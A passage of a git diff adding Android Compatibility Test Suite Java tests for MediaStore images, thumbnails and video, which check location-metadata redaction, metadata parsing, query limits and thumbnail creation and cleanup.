+                InstrumentationRegistry.getInstrumentation().getUiAutomation());
+        try (InputStream is = mContentResolver.openInputStream(publishUri)) {
+            final ExifInterface exif = new ExifInterface(is);
+            final float[] latLong = new float[2];
+            exif.getLatLong(latLong);
+            assertEquals(0, latLong[0], 0.001);
+            assertEquals(0, latLong[1], 0.001);
+
+            String xmp = exif.getAttribute(ExifInterface.TAG_XMP);
+            assertFalse("Failed to redact XMP longitude", xmp.contains("53,50.070500N"));
+            assertFalse("Failed to redact XMP latitude", xmp.contains("10,41.751000E"));
+            assertTrue("Redacted non-location XMP", xmp.contains("LensDefaults"));
+        }
+        // We can't request original bytes unless we have permission
+        try (ParcelFileDescriptor pfd = mContentResolver.openFileDescriptor(originalUri, "r")) {
+            fail("Able to read original content without ACCESS_MEDIA_LOCATION");
+        } catch (UnsupportedOperationException expected) {
+        }
+    }
+
+    @Test
+    public void testLocationDeprecated() throws Exception {
+        final String displayName = "cts" + System.nanoTime();
+        final PendingParams params = new PendingParams(
+                mExternalImages, displayName, "image/jpeg");
+
+        final Uri pendingUri = MediaStoreUtils.createPending(mContext, params);
+        final Uri publishUri;
+        try (PendingSession session = MediaStoreUtils.openPending(mContext, pendingUri)) {
+            try (InputStream in = mContext.getResources().openRawResource(R.raw.volantis);
+                    OutputStream out = session.openOutputStream()) {
+                android.os.FileUtils.copy(in, out);
+            }
+            publishUri = session.publish();
+        }
+
+        // Verify that location wasn't indexed
+        try (Cursor c = mContentResolver.query(publishUri,
+                new String[] { ImageColumns.LATITUDE, ImageColumns.LONGITUDE }, null, null)) {
+            assertTrue(c.moveToFirst());
+            assertTrue(c.isNull(0));
+            assertTrue(c.isNull(1));
+        }
+
+        // Verify that location values aren't recorded
+        final ContentValues values = new ContentValues();
+        values.put(ImageColumns.LATITUDE, 32f);
+        values.put(ImageColumns.LONGITUDE, 64f);
+        mContentResolver.update(publishUri, values, null, null);
+
+        try (Cursor c = mContentResolver.query(publishUri,
+                new String[] { ImageColumns.LATITUDE, ImageColumns.LONGITUDE }, null, null)) {
+            assertTrue(c.moveToFirst());
+            assertTrue(c.isNull(0));
+            assertTrue(c.isNull(1));
+        }
+    }
+
+    @Test
+    public void testCanonicalize() throws Exception {
+        // Remove all audio left over from other tests
+        ProviderTestUtils.executeShellCommand("content delete"
+                + " --user " + InstrumentationRegistry.getTargetContext().getUserId()
+                + " --uri " + mExternalImages,
+                InstrumentationRegistry.getInstrumentation().getUiAutomation());
+
+        // Publish some content
+        final File dir = ProviderTestUtils.stageDir(mVolumeName);
+        final Uri a = ProviderTestUtils.scanFileFromShell(
+                ProviderTestUtils.stageFile(R.raw.scenery, new File(dir, "a.jpg")));
+        final Uri b = ProviderTestUtils.scanFileFromShell(
+                ProviderTestUtils.stageFile(R.raw.lg_g4_iso_800_jpg, new File(dir, "b.jpg")));
+        final Uri c = ProviderTestUtils.scanFileFromShell(
+                ProviderTestUtils.stageFile(R.raw.scenery, new File(dir, "c.jpg")));
+
+        // Confirm we can canonicalize and recover it
+        final Uri canonicalized = mContentResolver.canonicalize(b);
+        assertNotNull(canonicalized);
+        assertEquals(b, mContentResolver.uncanonicalize(canonicalized));
+
+        // Delete all items above
+        mContentResolver.delete(a, null, null);
+        mContentResolver.delete(b, null, null);
+        mContentResolver.delete(c, null, null);
+
+        // Confirm canonical item isn't found
+        assertNull(mContentResolver.uncanonicalize(canonicalized));
+
+        // Publish data again and confirm we can recover it
+        final Uri d = ProviderTestUtils.scanFileFromShell(
+                ProviderTestUtils.stageFile(R.raw.lg_g4_iso_800_jpg, new File(dir, "d.jpg")));
+        assertEquals(d, mContentResolver.uncanonicalize(canonicalized));
+    }
+
+    @Test
+    public void testMetadata() throws Exception {
+        final Uri uri = ProviderTestUtils.stageMedia(R.raw.lg_g4_iso_800_jpg, mExternalImages,
+                "image/jpeg");
+
+        try (Cursor c = mContentResolver.query(uri, null, null, null)) {
+            assertTrue(c.moveToFirst());
+
+            // Confirm that we parsed Exif metadata
+            assertEquals(0, c.getLong(c.getColumnIndex(ImageColumns.ORIENTATION)));
+            assertEquals(600, c.getLong(c.getColumnIndex(ImageColumns.WIDTH)));
+            assertEquals(337, c.getLong(c.getColumnIndex(ImageColumns.HEIGHT)));
+
+            // Confirm that we parsed XMP metadata
+            assertEquals("xmp.did:041dfd42-0b46-4302-918a-836fba5016ed",
+                    c.getString(c.getColumnIndex(ImageColumns.DOCUMENT_ID)));
+            assertEquals("xmp.iid:041dfd42-0b46-4302-918a-836fba5016ed",
+                    c.getString(c.getColumnIndex(ImageColumns.INSTANCE_ID)));
+            assertEquals("3F9DD7A46B26513A7C35272F0D623A06",
+                    c.getString(c.getColumnIndex(ImageColumns.ORIGINAL_DOCUMENT_ID)));
+
+            // Confirm that timestamp was parsed with offset information
+            assertEquals(1447346778000L + 25200000L,
+                    c.getLong(c.getColumnIndex(ImageColumns.DATE_TAKEN)));
+
+            // We just added and modified the file, so should be recent
+            final long added = c.getLong(c.getColumnIndex(ImageColumns.DATE_ADDED));
+            final long modified = c.getLong(c.getColumnIndex(ImageColumns.DATE_MODIFIED));
+            final long now = System.currentTimeMillis() / 1000;
+            assertTrue("Invalid added time " + added, Math.abs(added - now) < 5);
+            assertTrue("Invalid modified time " + modified, Math.abs(modified - now) < 5);
+
+            // Confirm that we trusted value from XMP metadata
+            assertEquals("image/dng", c.getString(c.getColumnIndex(ImageColumns.MIME_TYPE)));
+
+            assertEquals(107704, c.getLong(c.getColumnIndex(ImageColumns.SIZE)));
+
+            final String displayName = c.getString(c.getColumnIndex(ImageColumns.DISPLAY_NAME));
+            assertTrue("Invalid display name " + displayName, displayName.startsWith("cts"));
+            assertTrue("Invalid display name " + displayName, displayName.endsWith(".jpg"));
+        }
+    }
+
+    @Test
+    public void testGroup() throws Exception {
+        // Confirm that we have at least two images staged
+        ProviderTestUtils.stageMedia(R.raw.scenery, mExternalImages);
+        ProviderTestUtils.stageMedia(R.raw.scenery, mExternalImages);
+
+        final Bundle queryArgs = new Bundle();
+        queryArgs.putStringArray(ContentResolver.QUERY_ARG_GROUP_COLUMNS,
+                new String[] { ImageColumns.BUCKET_ID });
+
+        final HashSet<Integer> seen = new HashSet<>();
+        int maxCount = 0;
+        try (Cursor c = mContentResolver.query(mExternalImages,
+                new String[] { ImageColumns.BUCKET_ID, "COUNT(_id)" }, queryArgs, null)) {
+            final HashSet<String> honored = new HashSet<>(Arrays
+                    .asList(c.getExtras().getStringArray(ContentResolver.EXTRA_HONORED_ARGS)));
+            assertTrue(honored.contains(ContentResolver.QUERY_ARG_GROUP_COLUMNS));
+
+            while (c.moveToNext()) {
+                final int id = c.getInt(0);
+                final int count = c.getInt(1);
+
+                // We should never see the same BUCKET_ID twice
+                assertFalse(seen.contains(id));
+                seen.add(id);
+
+                maxCount = Math.max(maxCount, count);
+            }
+        }
+
+        // At least one bucket should have more than one item
+        assertTrue(maxCount > 1);
+    }
+
+    @Test
+    public void testLimit() throws Exception {
+        // Confirm that we have at least two images staged
+        final Uri red = ProviderTestUtils.stageMedia(R.raw.scenery, mExternalImages);
+        final Uri blue = ProviderTestUtils.stageMedia(R.raw.scenery, mExternalImages);
+
+        final long redId = ContentUris.parseId(red);
+        final long blueId = ContentUris.parseId(blue);
+
+        final Bundle queryArgs = new Bundle();
+        queryArgs.putString(ContentResolver.QUERY_ARG_SQL_SELECTION,
+                BaseColumns._ID + " IN (" + redId + "," + blueId + ")");
+        queryArgs.putString(ContentResolver.QUERY_ARG_SQL_SORT_ORDER,
+                BaseColumns._ID + " ASC");
+        queryArgs.putInt(ContentResolver.QUERY_ARG_LIMIT, 1);
+
+        try (Cursor c = mContentResolver.query(mExternalImages,
+                new String[] { BaseColumns._ID }, queryArgs, null)) {
+            final HashSet<String> honored = new HashSet<>(Arrays
+                    .asList(c.getExtras().getStringArray(ContentResolver.EXTRA_HONORED_ARGS)));
+            assertTrue(honored.contains(ContentResolver.QUERY_ARG_LIMIT));
+
+            // We should only have single lowest image
+            assertEquals(1, c.getCount());
+            assertTrue(c.moveToFirst());
+            assertEquals(Math.min(redId, blueId), c.getLong(0));
+        }
+
+        queryArgs.putInt(ContentResolver.QUERY_ARG_OFFSET, 1);
+
+        try (Cursor c = mContentResolver.query(mExternalImages,
+                new String[] { BaseColumns._ID }, queryArgs, null)) {
+            final HashSet<String> honored = new HashSet<>(Arrays
+                    .asList(c.getExtras().getStringArray(ContentResolver.EXTRA_HONORED_ARGS)));
+            assertTrue(honored.contains(ContentResolver.QUERY_ARG_LIMIT));
+            assertTrue(honored.contains(ContentResolver.QUERY_ARG_OFFSET));
+
+            // We should only have single highest image
+            assertEquals(1, c.getCount());
+            assertTrue(c.moveToFirst());
+            assertEquals(Math.max(redId, blueId), c.getLong(0));
+        }
+    }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_ThumbnailsTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_ThumbnailsTest.java
new file mode 100644
index 0000000..5d0199b
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_ThumbnailsTest.java
@@ -0,0 +1,512 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.media;
+
+import static android.provider.cts.ProviderTestUtils.assertExists;
+import static android.provider.cts.ProviderTestUtils.assertNotExists;
+import static android.provider.cts.media.MediaStoreTest.TAG;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.content.ContentResolver;
+import android.content.ContentUris;
+import android.content.ContentValues;
+import android.content.Context;
+import android.content.res.Configuration;
+import android.content.res.Resources;
+import android.database.Cursor;
+import android.graphics.Bitmap;
+import android.graphics.BitmapFactory;
+import android.graphics.Canvas;
+import android.graphics.Color;
+import android.graphics.ImageDecoder;
+import android.net.Uri;
+import android.os.Environment;
+import android.provider.MediaStore;
+import android.provider.MediaStore.Images.Media;
+import android.provider.MediaStore.Images.Thumbnails;
+import android.provider.MediaStore.MediaColumns;
+import android.provider.cts.ProviderTestUtils;
+import android.provider.cts.R;
+import android.provider.cts.media.MediaStoreUtils.PendingParams;
+import android.provider.cts.media.MediaStoreUtils.PendingSession;
+import android.util.DisplayMetrics;
+import android.util.Log;
+import android.util.Size;
+
+import androidx.test.InstrumentationRegistry;
+
+import junit.framework.AssertionFailedError;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.Parameters;
+
+import java.io.File;
+import java.io.FileNotFoundException;
+import java.io.OutputStream;
+import java.util.ArrayList;
+
+@RunWith(Parameterized.class)
+public class MediaStore_Images_ThumbnailsTest {
+    private ArrayList<Uri> mRowsAdded;
+
+    private Context mContext;
+    private ContentResolver mContentResolver;
+
+    private Uri mExternalImages;
+
+    @Parameter(0)
+    public String mVolumeName;
+
+    private int mLargestDimension;
+
+    @Parameters
+    public static Iterable<? extends Object> data() {
+        return ProviderTestUtils.getSharedVolumeNames();
+    }
+
+    private Uri mRed;
+    private Uri mBlue;
+
+    @After
+    public void tearDown() throws Exception {
+        for (Uri row : mRowsAdded) {
+            try {
+                mContentResolver.delete(row, null, null);
+            } catch (UnsupportedOperationException e) {
+                // There is no way to delete rows from table "thumbnails" of internals database.
+                // ignores the exception and make the loop goes on
+            }
+        }
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getTargetContext();
+        mContentResolver = mContext.getContentResolver();
+
+        mRowsAdded = new ArrayList<Uri>();
+
+        Log.d(TAG, "Using volume " + mVolumeName);
+        mExternalImages = MediaStore.Images.Media.getContentUri(mVolumeName);
+
+        final Resources res = mContext.getResources();
+        final Configuration config = res.getConfiguration();
+        mLargestDimension = (int) (Math.max(config.screenWidthDp, config.screenHeightDp)
+                * res.getDisplayMetrics().density);
+    }
+
+    private void prepareImages() throws Exception {
+        mRed = ProviderTestUtils.stageMedia(R.raw.scenery, mExternalImages);
+        mBlue = ProviderTestUtils.stageMedia(R.raw.scenery, mExternalImages);
+        mRowsAdded.add(mRed);
+        mRowsAdded.add(mBlue);
+        MediaStore.waitForIdle(mContext);
+    }
+
+    public static void assertMostlyEquals(long expected, long actual, long delta) {
+        if (Math.abs(expected - actual) > delta) {
+            throw new AssertionFailedError("Expected roughly " + expected + " but was " + actual);
+        }
+    }
+
+    @Test
+    public void testQueryExternalThumbnails() throws Exception {
+        if (!MediaStore.VOLUME_EXTERNAL.equals(mVolumeName)) return;
+        prepareImages();
+
+        Cursor c = Thumbnails.queryMiniThumbnails(mContentResolver,
+                Thumbnails.EXTERNAL_CONTENT_URI, Thumbnails.MICRO_KIND, null);
+        int previousMicroKindCount = c.getCount();
+        c.close();
+
+        // add a thumbnail
+        final File file = new File(ProviderTestUtils.stageDir(MediaStore.VOLUME_EXTERNAL),
+                "testThumbnails.jpg");
+        final String path = file.getAbsolutePath();
+        ProviderTestUtils.stageFile(R.raw.scenery, file);
+        ContentValues values = new ContentValues();
+        values.put(Thumbnails.KIND, Thumbnails.MINI_KIND);
+        values.put(Thumbnails.DATA, path);
+        values.put(Thumbnails.IMAGE_ID, ContentUris.parseId(mRed));
+        Uri uri = mContentResolver.insert(Thumbnails.EXTERNAL_CONTENT_URI, values);
+        if (uri != null) {
+            mRowsAdded.add(uri);
+        }
+
+        // query with the uri of the thumbnail and the kind
+        c = Thumbnails.queryMiniThumbnails(mContentResolver, uri, Thumbnails.MINI_KIND, null);
+        c.moveToFirst();
+        assertEquals(1, c.getCount());
+        assertEquals(Thumbnails.MINI_KIND, c.getInt(c.getColumnIndex(Thumbnails.KIND)));
+        assertEquals(path, c.getString(c.getColumnIndex(Thumbnails.DATA)));
+
+        // query all thumbnails with other kind
+        c = Thumbnails.queryMiniThumbnails(mContentResolver, Thumbnails.EXTERNAL_CONTENT_URI,
+                Thumbnails.MICRO_KIND, null);
+        assertEquals(previousMicroKindCount, c.getCount());
+        c.close();
+
+        // query without kind
+        c = Thumbnails.query(mContentResolver, uri, null);
+        assertEquals(1, c.getCount());
+        c.moveToFirst();
+        assertEquals(Thumbnails.MINI_KIND, c.getInt(c.getColumnIndex(Thumbnails.KIND)));
+        assertEquals(path, c.getString(c.getColumnIndex(Thumbnails.DATA)));
+        c.close();
+    }
+
+    @Test
+    public void testQueryExternalMiniThumbnails() throws Exception {
+        if (!MediaStore.VOLUME_EXTERNAL.equals(mVolumeName)) return;
+        final ContentResolver resolver = mContentResolver;
+
+        // insert the image by bitmap
+        BitmapFactory.Options opts = new BitmapFactory.Options();
+        opts.inTargetDensity = DisplayMetrics.DENSITY_XHIGH;
+        Bitmap src = BitmapFactory.decodeResource(mContext.getResources(), R.raw.scenery,opts);
+        String stringUrl = null;
+        try{
+            stringUrl = Media.insertImage(mContentResolver, src, "cts" + System.nanoTime(), null);
+        } catch (UnsupportedOperationException e) {
+            // the tests will be aborted because the image will be put in sdcard
+            fail("There is no sdcard attached! " + e.getMessage());
+        }
+        assertNotNull(stringUrl);
+        Uri stringUri = Uri.parse(stringUrl);
+        mRowsAdded.add(stringUri);
+
+        // get the original image id and path
+        Cursor c = mContentResolver.query(stringUri,
+                new String[]{ Media._ID, Media.DATA }, null, null, null);
+        c.moveToFirst();
+        long imageId = c.getLong(c.getColumnIndex(Media._ID));
+        String imagePath = c.getString(c.getColumnIndex(Media.DATA));
+        c.close();
+
+        MediaStore.waitForIdle(mContext);
+        assertExists("image file does not exist", imagePath);
+        assertNotNull(Thumbnails.getThumbnail(resolver, imageId, Thumbnails.MINI_KIND, null));
+        assertNotNull(Thumbnails.getThumbnail(resolver, imageId, Thumbnails.MICRO_KIND, null));
+
+        // deleting the image from the database also deletes the image file, and the
+        // corresponding entry in the thumbnail table, which in turn triggers deletion
+        // of the thumbnail file on disk
+        mContentResolver.delete(stringUri, null, null);
+        mRowsAdded.remove(stringUri);
+
+        MediaStore.waitForIdle(mContext);
+        assertNotExists("image file should no longer exist", imagePath);
+        assertNull(Thumbnails.getThumbnail(resolver, imageId, Thumbnails.MINI_KIND, null));
+        assertNull(Thumbnails.getThumbnail(resolver, imageId, Thumbnails.MICRO_KIND, null));
+
+        // insert image, then delete it via the files table
+        stringUrl = Media.insertImage(mContentResolver, src, "cts" + System.nanoTime(), null);
+        c = mContentResolver.query(Uri.parse(stringUrl),
+                new String[]{ Media._ID, Media.DATA}, null, null, null);
+        c.moveToFirst();
+        imageId = c.getLong(c.getColumnIndex(Media._ID));
+        imagePath = c.getString(c.getColumnIndex(Media.DATA));
+        c.close();
+        assertExists("image file does not exist", imagePath);
+        Uri fileuri = MediaStore.Files.getContentUri("external", imageId);
+        mContentResolver.delete(fileuri, null, null);
+        assertNotExists("image file should no longer exist", imagePath);
+    }
+
+    @Test
+    public void testGetContentUri() {
+        Cursor c = null;
+        assertNotNull(c = mContentResolver.query(Thumbnails.getContentUri("internal"), null, null,
+                null, null));
+        c.close();
+        assertNotNull(c = mContentResolver.query(Thumbnails.getContentUri(mVolumeName), null, null,
+                null, null));
+        c.close();
+    }
+
+    @Test
+    public void testStoreImagesMediaExternal() throws Exception {
+        if (!MediaStore.VOLUME_EXTERNAL.equals(mVolumeName)) return;
+        prepareImages();
+
+        final String externalImgPath = Environment.getExternalStorageDirectory() +
+                "/testimage.jpg";
+        final String externalImgPath2 = Environment.getExternalStorageDirectory() +
+                "/testimage1.jpg";
+        ContentValues values = new ContentValues();
+        values.put(Thumbnails.KIND, Thumbnails.FULL_SCREEN_KIND);
+        values.put(Thumbnails.IMAGE_ID, ContentUris.parseId(mRed));
+        values.put(Thumbnails.HEIGHT, 480);
+        values.put(Thumbnails.WIDTH, 320);
+        values.put(Thumbnails.DATA, externalImgPath);
+
+        // insert
+        Uri uri = mContentResolver.insert(Thumbnails.EXTERNAL_CONTENT_URI, values);
+        assertNotNull(uri);
+
+        // query
+        Cursor c = mContentResolver.query(uri, null, null, null, null);
+        assertEquals(1, c.getCount());
+        c.moveToFirst();
+        long id = c.getLong(c.getColumnIndex(Thumbnails._ID));
+        assertTrue(id > 0);
+        assertEquals(Thumbnails.FULL_SCREEN_KIND, c.getInt(c.getColumnIndex(Thumbnails.KIND)));
+        assertEquals(ContentUris.parseId(mRed), c.getLong(c.getColumnIndex(Thumbnails.IMAGE_ID)));
+        assertEquals(480, c.getInt(c.getColumnIndex(Thumbnails.HEIGHT)));
+        assertEquals(320, c.getInt(c.getColumnIndex(Thumbnails.WIDTH)));
+        assertEquals(externalImgPath, c.getString(c.getColumnIndex(Thumbnails.DATA)));
+        c.close();
+
+        // update
+        values.clear();
+        values.put(Thumbnails.KIND, Thumbnails.MICRO_KIND);
+        values.put(Thumbnails.IMAGE_ID, ContentUris.parseId(mBlue));
+        values.put(Thumbnails.HEIGHT, 50);
+        values.put(Thumbnails.WIDTH, 50);
+        values.put(Thumbnails.DATA, externalImgPath2);
+        assertEquals(1, mContentResolver.update(uri, values, null, null));
+
+        // delete
+        assertEquals(1, mContentResolver.delete(uri, null, null));
+    }
+
+    @Test
+    public void testThumbnailGenerationAndCleanup() throws Exception {
+        if (!MediaStore.VOLUME_EXTERNAL.equals(mVolumeName)) return;
+        final ContentResolver resolver = mContentResolver;
+
+        // insert an image
+        Bitmap src = BitmapFactory.decodeResource(mContext.getResources(), R.raw.scenery);
+        Uri uri = Uri.parse(Media.insertImage(mContentResolver, src, "cts" + System.nanoTime(),
+                "test description"));
+        long imageId = ContentUris.parseId(uri);
+
+        MediaStore.waitForIdle(mContext);
+        assertNotNull(Thumbnails.getThumbnail(resolver, imageId, Thumbnails.MINI_KIND, null));
+        assertNotNull(Thumbnails.getThumbnail(resolver, imageId, Thumbnails.MICRO_KIND, null));
+
+        // delete the source image and check that the thumbnail is gone too
+        mContentResolver.delete(uri, null /* where clause */, null /* where args */);
+
+        MediaStore.waitForIdle(mContext);
+        assertNull(Thumbnails.getThumbnail(resolver, imageId, Thumbnails.MINI_KIND, null));
+        assertNull(Thumbnails.getThumbnail(resolver, imageId, Thumbnails.MICRO_KIND, null));
+
+        // insert again
+        uri = Uri.parse(Media.insertImage(mContentResolver, src, "cts" + System.nanoTime(),
+                "test description"));
+        imageId = ContentUris.parseId(uri);
+
+        // query its thumbnail again
+        MediaStore.waitForIdle(mContext);
+        assertNotNull(Thumbnails.getThumbnail(resolver, imageId, Thumbnails.MINI_KIND, null));
+        assertNotNull(Thumbnails.getThumbnail(resolver, imageId, Thumbnails.MICRO_KIND, null));
+
+        // update the media type
+        ContentValues values = new ContentValues();
+        values.put("media_type", 0);
+        assertEquals("unexpected number of updated rows",
+                1, mContentResolver.update(uri, values, null /* where */, null /* where args */));
+
+        // image was marked as regular file in the database, which should have deleted its thumbnail
+        MediaStore.waitForIdle(mContext);
+        assertNull(Thumbnails.getThumbnail(resolver, imageId, Thumbnails.MINI_KIND, null));
+        assertNull(Thumbnails.getThumbnail(resolver, imageId, Thumbnails.MICRO_KIND, null));
+
+        // check source no longer exists as image
+        Cursor c = mContentResolver.query(uri,
+                null /* projection */, null /* where */, null /* where args */, null /* sort */);
+        assertFalse("source entry should be gone", c.moveToNext());
+        c.close();
+
+        // check source still exists as file
+        Uri fileUri = ContentUris.withAppendedId(
+                MediaStore.Files.getContentUri("external"),
+                Long.valueOf(uri.getLastPathSegment()));
+        c = mContentResolver.query(fileUri,
+                null /* projection */, null /* where */, null /* where args */, null /* sort */);
+        assertTrue("source entry is gone", c.moveToNext());
+        String sourcePath = c.getString(c.getColumnIndex("_data"));
+        c.close();
+
+        // clean up
+        mContentResolver.delete(fileUri, null /* where */, null /* where args */);
+        new File(sourcePath).delete();
+    }
+
+    @Test
+    public void testThumbnailOrderedQuery() throws Exception {
+        if (!MediaStore.VOLUME_EXTERNAL.equals(mVolumeName)) return;
+
+        Bitmap src = BitmapFactory.decodeResource(mContext.getResources(), R.raw.scenery);
+        Uri url[] = new Uri[3];
+        try{
+            for (int i = 0; i < url.length; i++) {
+                url[i] = Uri.parse(
+                        Media.insertImage(mContentResolver, src, "cts" + System.nanoTime(), null));
+                mRowsAdded.add(url[i]);
+                long origId = Long.parseLong(url[i].getLastPathSegment());
+                MediaStore.waitForIdle(mContext);
+                Bitmap foo = MediaStore.Images.Thumbnails.getThumbnail(mContentResolver,
+                        origId, Thumbnails.MICRO_KIND, null);
+                assertNotNull(foo);
+            }
+
+            // Remove one of the images, which will also delete any thumbnails
+            // If the image was deleted, we don't want to delete it again
+            if (mContentResolver.delete(url[1], null, null) > 0) {
+                mRowsAdded.remove(url[1]);
+            }
+
+            long removedId = Long.parseLong(url[1].getLastPathSegment());
+            long remainingId1 = Long.parseLong(url[0].getLastPathSegment());
+            long remainingId2 = Long.parseLong(url[2].getLastPathSegment());
+
+            // check if a thumbnail is still being returned for the image that was removed
+            MediaStore.waitForIdle(mContext);
+            Bitmap foo = MediaStore.Images.Thumbnails.getThumbnail(mContentResolver,
+                    removedId, Thumbnails.MICRO_KIND, null);
+            assertNull(foo);
+
+            for (String order: new String[] { " ASC", " DESC" }) {
+                Cursor c = mContentResolver.query(
+                        MediaStore.Images.Media.EXTERNAL_CONTENT_URI, null, null, null,
+                        MediaColumns._ID + order);
+                while (c.moveToNext()) {
+                    long id = c.getLong(c.getColumnIndex(MediaColumns._ID));
+                    MediaStore.waitForIdle(mContext);
+                    foo = MediaStore.Images.Thumbnails.getThumbnail(
+                            mContentResolver, id,
+                            MediaStore.Images.Thumbnails.MICRO_KIND, null);
+                    if (id == removedId) {
+                        assertNull("unexpected bitmap with" + order + " ordering", foo);
+                    } else if (id == remainingId1 || id == remainingId2) {
+                        assertNotNull("missing bitmap with" + order + " ordering", foo);
+                    }
+                }
+                c.close();
+            }
+        } catch (UnsupportedOperationException e) {
+            // the tests will be aborted because the image will be put in sdcard
+            fail("There is no sdcard attached! " + e.getMessage());
+        }
+    }
+
+    @Test
+    public void testInsertUpdateDelete() throws Exception {
+        final String displayName = "cts" + System.nanoTime();
+        final PendingParams params = new PendingParams(
+                mExternalImages, displayName, "image/png");
+        final Uri pendingUri = MediaStoreUtils.createPending(mContext, params);
+        final Uri finalUri;
+        try (PendingSession session = MediaStoreUtils.openPending(mContext, pendingUri)) {
+            try (OutputStream out = session.openOutputStream()) {
+                writeImage(mLargestDimension, mLargestDimension, Color.RED, out);
+            }
+            finalUri = session.publish();
+        }
+
+        // Directly reading should be larger
+        final Bitmap full = ImageDecoder
+                .decodeBitmap(ImageDecoder.createSource(mContentResolver, finalUri));
+        assertEquals(mLargestDimension, full.getWidth());
+        assertEquals(mLargestDimension, full.getHeight());
+
+        {
+            // Thumbnail should be smaller
+            MediaStore.waitForIdle(mContext);
+            final Bitmap thumb = mContentResolver.loadThumbnail(finalUri, new Size(32, 32), null);
+            assertTrue(thumb.getWidth() < full.getWidth());
+            assertTrue(thumb.getHeight() < full.getHeight());
+
+            // Thumbnail should match contents
+            assertColorMostlyEquals(Color.RED, thumb.getPixel(16, 16));
+        }
+
+        // Verify legacy APIs still work
+        if (MediaStore.VOLUME_EXTERNAL.equals(mVolumeName)) {
+            for (int kind : new int[] {
+                    MediaStore.Images.Thumbnails.MINI_KIND,
+                    MediaStore.Images.Thumbnails.FULL_SCREEN_KIND,
+                    MediaStore.Images.Thumbnails.MICRO_KIND
+            }) {
+                // Thumbnail should be smaller
+                MediaStore.waitForIdle(mContext);
+                final Bitmap thumb = MediaStore.Images.Thumbnails.getThumbnail(mContentResolver,
+                        ContentUris.parseId(finalUri), kind, null);
+                assertTrue(thumb.getWidth() < full.getWidth());
+                assertTrue(thumb.getHeight() < full.getHeight());
+
+                // Thumbnail should match contents
+                assertColorMostlyEquals(Color.RED, thumb.getPixel(16, 16));
+            }
+        }
+
+        // Edit image contents
+        try (OutputStream out = mContentResolver.openOutputStream(finalUri)) {
+            writeImage(mLargestDimension, mLargestDimension, Color.BLUE, out);
+        }
+
+        // Wait a few moments for events to settle
+        MediaStore.waitForIdle(mContext);
+
+        {
+            // Thumbnail should match updated contents
+            MediaStore.waitForIdle(mContext);
+            final Bitmap thumb = mContentResolver.loadThumbnail(finalUri, new Size(32, 32), null);
+            assertColorMostlyEquals(Color.BLUE, thumb.getPixel(16, 16));
+        }
+
+        // Delete image contents
+        mContentResolver.delete(finalUri, null, null);
+
+        // Thumbnail should no longer exist
+        try {
+            MediaStore.waitForIdle(mContext);
+            mContentResolver.loadThumbnail(finalUri, new Size(32, 32), null);
+            fail("Funky; we somehow made a thumbnail out of nothing?");
+        } catch (FileNotFoundException expected) {
+        }
+    }
+
+    private static void writeImage(int width, int height, int color, OutputStream out) {
+        final Bitmap bitmap = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888);
+        final Canvas canvas = new Canvas(bitmap);
+        canvas.drawColor(color);
+        bitmap.compress(Bitmap.CompressFormat.PNG, 90, out);
+    }
+
+    /**
+     * Since thumbnails might be bounced through a compression pass, we're okay
+     * if they're mostly equal.
+     */
+    private static void assertColorMostlyEquals(int expected, int actual) {
+        assertEquals(Integer.toHexString(expected & 0xF0F0F0F0),
+                Integer.toHexString(actual & 0xF0F0F0F0));
+    }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_VideoTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_VideoTest.java
new file mode 100644
index 0000000..202c3ea
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_VideoTest.java
@@ -0,0 +1,91 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.media;
+
+import static android.provider.cts.media.MediaStoreTest.TAG;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+
+import android.content.ContentResolver;
+import android.content.ContentValues;
+import android.content.Context;
+import android.database.Cursor;
+import android.net.Uri;
+import android.provider.MediaStore;
+import android.provider.MediaStore.Video;
+import android.provider.MediaStore.Video.VideoColumns;
+import android.provider.cts.ProviderTestUtils;
+import android.provider.cts.R;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.Parameters;
+
+import java.io.File;
+
+@RunWith(Parameterized.class)
+public class MediaStore_VideoTest {
+    private Context mContext;
+    private ContentResolver mResolver;
+
+    private Uri mExternalVideo;
+
+    @Parameter(0)
+    public String mVolumeName;
+
+    @Parameters
+    public static Iterable<? extends Object> data() {
+        return ProviderTestUtils.getSharedVolumeNames();
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getTargetContext();
